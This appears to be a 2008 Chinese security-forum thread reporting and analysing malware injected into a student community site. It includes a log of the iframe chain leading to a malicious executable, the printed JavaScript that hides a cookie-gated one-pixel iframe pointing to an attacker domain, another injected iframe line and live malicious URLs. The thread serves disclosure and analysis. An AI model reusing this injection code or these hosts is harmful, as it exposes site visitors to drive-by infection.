[绍兴学生社区]hxxp://www.icebbs.com/bbs/index.php[挂马 已确认 by granthill ]

wjhstu-VxG

hxxp://www.icebbs.com/bbs/index.php

Blocked by IPS ，攻击者网址：edcds.cn/39/cs.htm

有点奇怪，第一次进去的时候报，可后来进去就不报了~~~



[ 本帖最后由 granthill 于 2008-12-20 23:32 编辑 ]

granthill

Log is generated by FreShow.
[wide]http://www.icebbs.com/bbs/index.php
    [script]http://www.54ax.cn/17aq/a.js
        [frame]http://www.54ax.cn/17aq/\"http://edcds.cn/39/index.htm\"
            [frame]http://edcds.cn/39/fl.htm
                [frame]http://edcds.cn/39/i11.html
                [frame]http://edcds.cn/39/f22.html
                [frame]http://edcds.cn/39/i11.html
            [frame]http://edcds.cn/39/cx.htm
            [frame]http://edcds.cn/39/06014.htm
            [frame]http://edcds.cn/39/I7.htm
                [frame]http://edcds.cn/39/ix7.htm
            [frame]http://edcds.cn/39/ff.htm
            [frame]http://edcds.cn/39/xl.htm
            [frame]http://edcds.cn/39/real10.htm
            [frame]http://edcds.cn/39/real11.htm
                [object]http://www.weweif.com/39/Mete.exe

dikex

原帖由 wjhstu-VxG 于 2008-12-20 19:12 发表

有点奇怪，第一次进去的时候报，可后来进去就不报了~~~

cookie问题，设置了1天之类只会是IFRaME 生效一次

1. 
   
2. function Get(){
   
3. var Then = new Date()
   
4. Then.setTime(Then.getTime() + 24*60*60*1000)
   
5. var cookieString = new String(document.cookie)
   
6. var cookieHeader = "Cookie1="
   
7. var beginPosition = cookieString.indexOf(cookieHeader)
   
8. if (beginPosition != -1){
   
9. } else
   
10. { document.cookie = "Cookie1=risb;expires="+ Then.toGMTString()
    
11. document.write("<div style="display:none">");
    
12. document.writeln("<IFRaME src="http://edcds.cn/39/index.htm" width=1 height=0><\/IFRAME>");
    
13. }
    
14. }Get();
    

复制代码

lingbo110120

http://6grb.cn/a0x/a23/index.htm
http://www.housezj.com/images/xx.gif
http://www.icebbs.com/bbs/include/javascript/common.js
恶意下载脚本

document.write("<iframe src=http://6grb.cn/A0X/a23/index.htm width=50 height=0></iframe>")

畅游巡警结果...

wsmj888

我的通过浏览器企图向系统文件夹写入文件，汗！

雨宫优子

堆栈 [0012FFC4]=0040516B (正常文件.0040516B), ASCII "http://www.iieeg.com/ie/Mete.exe"
esi=0040518B (正常文件.0040518B)
少了一个...

wjhstu-VxG

原来是这样，谢谢~~